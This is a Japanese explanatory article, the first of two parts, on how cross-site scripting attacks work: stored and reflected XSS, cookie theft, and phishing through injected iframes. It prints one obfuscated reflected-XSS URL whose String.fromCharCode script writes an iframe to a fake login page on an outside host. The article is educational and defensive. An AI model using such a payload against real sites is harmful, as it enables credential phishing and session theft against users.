情報詐取の常とう手段
クロスサイトスクリプティング攻撃とは 前編――その目的と仕組み
XSS攻撃が成立する仕組みと理由、そして自社のWebアプリケーションからこの脆弱性をなくす方法について解説する。
Webはクロスサイトスクリプティング（XSS）の脆弱性をなくすことができずにいる。XSSは、攻撃者が悪質なクライアントサイドコードをWebページに仕込んでセキュリティを破るもので、1990年代ごろから浮上し、Google、Yahoo!、Facebookといった大手Webサイトのほとんどは、いずれもXSS問題に見舞われてきた。XSSの脆弱性を突いた攻撃を仕掛ければ、情報を盗んだり、ユーザーのセッションを乗っ取ったり、悪質コードを実行したり、あるいはフィッシング詐欺の手口に利用することも可能だ。
Web 2.0が最先端のXSS攻撃を生み出したとの見方もあるが、実際には、こうした攻撃は古い手口を焼き直しただけのものがほとんどだ。ただし確かなのは、Ajax技術によって様相が変わり、攻撃者が一層見えにくい形でXSSの脆弱性を悪用できるようになったことだ。Ajaxアプリケーションは一般的に極めて複雑で、Webブラウザとサーバ間のやりとりが大幅に増え、別のサイトのコンテンツをページに取り込むことさえある。この状況では、ユーザーとサービスの間でやりとりされる内容にさまざまな可能性が生じて検証が難しくなり、以前からあるXSSの脆弱性などが、知らないうちにアプリケーションに紛れ込むすきができる。
サイトがXSS攻撃の被害に遭い続けているのは、大部分が双方向性を求められ、ユーザーのデータの送受信を許しているからだ。これによって攻撃者もまたアプリケーションのプロセスに直接介入できるようになり、正規のアプリケーションリクエストやコマンドに見せかけたデータを、通常のリクエストの手段であるスクリプト、URL、フォームデータなどを通じて受け渡すことが可能になる。アプリケーション層におけるこうした通信は、出来の悪いアプリケーションを利用すれば、従来のような周辺的なセキュリティ対策をかわすことができてしまう。
2008年の「WhiteHat Security Statistics Report」によると、全Webサイトの90％に少なくとも1件の脆弱性があり、本稿では、XSS攻撃が成立する仕組みと理由、そして自社のWebアプリケーションからこの脆弱性をなくす方法について解説する。
あらためて、XSS攻撃とは？
XSS攻撃は、SQLインジェクションのような一般的なアプリケーションレイヤー攻撃とは異なり、アプリケーションやサーバではなくアプリケーションのユーザーを攻撃する。攻撃は、Webアプリケーションの出力データにコード（大抵はJavaScriptのようなクライアントサイドスクリプト）を仕込むことで成立する。ほとんどのサイトには、XSSに対して脆弱な検索枠、フィードバックフォーム、cookie、フォーラムなど、コードを仕込める入り口がいくらでもある。
XSS攻撃の狙いは、大抵がcookieデータの収集だ。cookieはセッションID、ユーザーのお気に入り、ログイン情報などを保存する目的で不適切に使われることがよくあるからだ。クライアントサイドスクリプトはサーバサイドの情報に直接影響を及ぼすことはできないが、サイトのセキュリティをかわすことはできる。よく使われる手口の「Document Object Modelマニピュレーション」では、フォームの値を書き換えたりフォームの動作を入れ替えて、提出されたデータを攻撃者のサイトに送信してしまう。
では、XSS攻撃がどれだけ簡単なのかを見てみよう。「XYZフットボールクラブ」の掲示板では、メンバーがチームとチームの成績についてコメントを投稿できる。コメントはオンラインデータベースに保存されてほかのメンバーが見られる仕組みになっており、認証も暗号化もされていない。悪意を持ったメンバーは単純に、<script>タグに囲まれたスクリプトをコメントに仕込んで投稿するだけで済む。<script>タグに囲まれたテキストは普通は表示されないので、ほかのメンバーはスクリプトが実行されたことさえ気付かないか、あるいはコメントがスクリプトを実行するのをただ見守ることしかできないかもしれない。そして、スクリプトは堂々とメンバーのcookie情報をリクエストして、それを攻撃者に引き渡すことができる。この種のXSS攻撃は不正スクリプトが何度も実行されるので、持続型XSSと呼ばれている。
XSS攻撃は、たとえサイトをSSL接続で閲覧した場合でも成立する。スクリプトは「保護された」サイトのコンテキストで実行され、ブラウザにはWebアプリケーションから出力される正規コンテンツと悪質コンテンツとの区別がつかないためだ。さらに、サイトにコメントページがなければ攻撃者がコードを仕込めないとは限らない。被害者をだましてフィッシング詐欺メールのURLをクリックさせ、表示されたページにコードを仕込めば、攻撃者はそのページのコンテンツにフルアクセスできてしまう。これが非持続型XSSだ。この種の攻撃ではURLエンコーディングを使ってリンクを偽装し、ユーザーがクリックする確率を高めていることも多い。
次の例では、セキュアなHTTPSのURLを使った信頼できるサイトへのリンクが表示されている。
https://www.example.com/script/LoginServlet?function=”><script>document.write(String.fromCharCode(60,105,102,114,97,109,
101,32,115,114,99,61,104,
116,116,112,58,47,47,
119,119,119,46,97,98,97,
100,98,97,110,107,
46,99,111,109,47,108,
111,103,105,110,32,112,104,112,62))</script>
ユーザーの目には「www.example.com」というSSL接続のリンクが見える。リンクというのは末尾に一見無意味な長い文字の羅列が付いていることも多いが、この場合は十分正規のリンクに見える。そこでユーザーはこのリンクをクリックする。しかし、<script>タグに囲まれたコードはブラウザに読み込まれると、以下のように翻訳される。
<iframe src=http://www.example2.com/login.php>
攻撃コードは本物の「example」サイトのコンテキストで、IFRAME（Webサイト上でHTML文書内部に別のHTML文書を組み込んだもの）を実行する。攻撃者の「login.php」ページはexample.comのログインページそっくりに作り込まれ、だまされたユーザーはログイン用のユーザー名とパスワードを入力して、IFRAMEのソースである不正銀行のサーバに送ってしまう。この間、ユーザーが本物のexample.comのWebサイトを離れることはない。これは、銀行のWebサイト上で2009年に実際にあった攻撃だ。
XSSの脆弱性の根本的問題と原因は基本的に、動的なWebページの多くがユーザーの入力した内容を検証も暗号化もせずに表示してしまうことにある。ユーザーが入力した内容をチェックせず、処理方法も公開される方法もコントロールしなければ、XSS攻撃の手に落ちる可能性がある。
次回はこのようなXSS攻撃を防ぐ方法を紹介する。
本稿筆者のマイケル・コッブ氏は、データセキュリティ・分析関連のトレーニングやサポートを提供するITコンサルティング会社Cobweb Applicationsの創業者、マネージングディレクター。CISSP-ISSAP（公認情報システムセキュリティプロフェッショナル―情報システムセキュリティアーキテクチャプロフェッショナル）の資格を持つ。共著書に「IIS Security」があり、大手IT出版物に多数の技術記事を寄稿している。
Copyright © ITmedia, Inc. All Rights Reserved.
この記事の著者
関連記事
新着ホワイトペーパー PR
-
製品資料
[NTTPCコミュニケーションズ株式会社] 「回線速度不足」だけが原因ではない？ Web会議の遅延を解決する方法とは -
製品資料
[東京エレクトロン デバイス株式会社] 工場の可用性向上に重要な「7つの領域」と対策 OTセキュリティ強化の基礎知識 -
製品資料
[リコージャパン株式会社] 問い合わせ対応で本来の業務が進まない、総務や情シスの負担をどう減らす？ -
製品資料
[リコージャパン株式会社] 自社データから高精度な回答を生成、簡単に生成AIチャットボットを構築する方法 -
技術文書・技術解説
[アトラシアン株式会社] IT運用や従業員サポートは生成AIでどう変わる？ 使い方や導入の流れは？
こんなメディアも見られています
TechTargetジャパンに関連する情報をお探しであれば、こちらのメディアもお役に立てるかもしれません。
ベンダーコンテンツ PR
From Informa TechTarget
SpecialPR
アクセスランキング
-
1
全社標準Copilotに絶望？ MS Copilotで問い合わせ6割減できた企業は何が違った
-
2
「Copilot」はなぜ放置される？ “議事録要約止まり”を脱する処方箋
-
3
「AI活用を前提とした業務PCへの移行」に関するアンケート
-
4
「データストレージの活用方法」に関するアンケート
-
5
身代金支払いは逆効果 情シスのためのランサムウェア対策ガイド2026
-
6
多要素認証導入済みでもランサムウェア被害に 復旧費用は平均2億7000万円
-
7
DXを阻む「動くだけ」のレガシーシステムに決別するための生成AI活用術
-
8
脱VMwareの前提が崩れる BroadcomのVDDK公開停止で確認すべき点
-
9
「ITインフラとデータ保護・バックアップ対策」に関するアンケート
-
10
自社を守る「SCS評価制度」活用法 7割の企業が取引先起点の情報漏えいに直面
ホワイトペーパーランキング PR
-
1
5回聞くだけじゃ足りない？ トヨタ式「なぜなぜ分析」の正しい実践方法
-
2
JR西日本ITソリューションズが「監視業務の属人化」を解消した方法とは？
-
3
生成AIで文書活用を進めるには？ 効率化と安全性をどう両立する
-
4
Windows PCとMacの選択制で生産性向上 LINEヤフーが実践する運用管理方法とは
-
5
インシデント対応工数を約3割削減、東京ガスの事例に学ぶ監視体制刷新のコツ
-
6
国税庁の次世代基幹システム「KSK2」稼働開始に向けて、対応すべき変更点とは？
-
7
「スクラム」と「カンバン」の違いとは？ アジャイル型開発手法を徹底比較
-
8
AI時代に成功するための「ナレッジマネジメント」ベストプラクティス
-
9
「オンプレミス回帰」せざるを得ない“合理的な理由”
-
10
Microsoft 365を安全に運用 うっかりミスやサイバー攻撃に備えるデータ保護術
TechTargetジャパン SNS
@techtarget_itmをフォロー
インフォメーション
注目情報をチェック
TechTargetジャパンをフォロー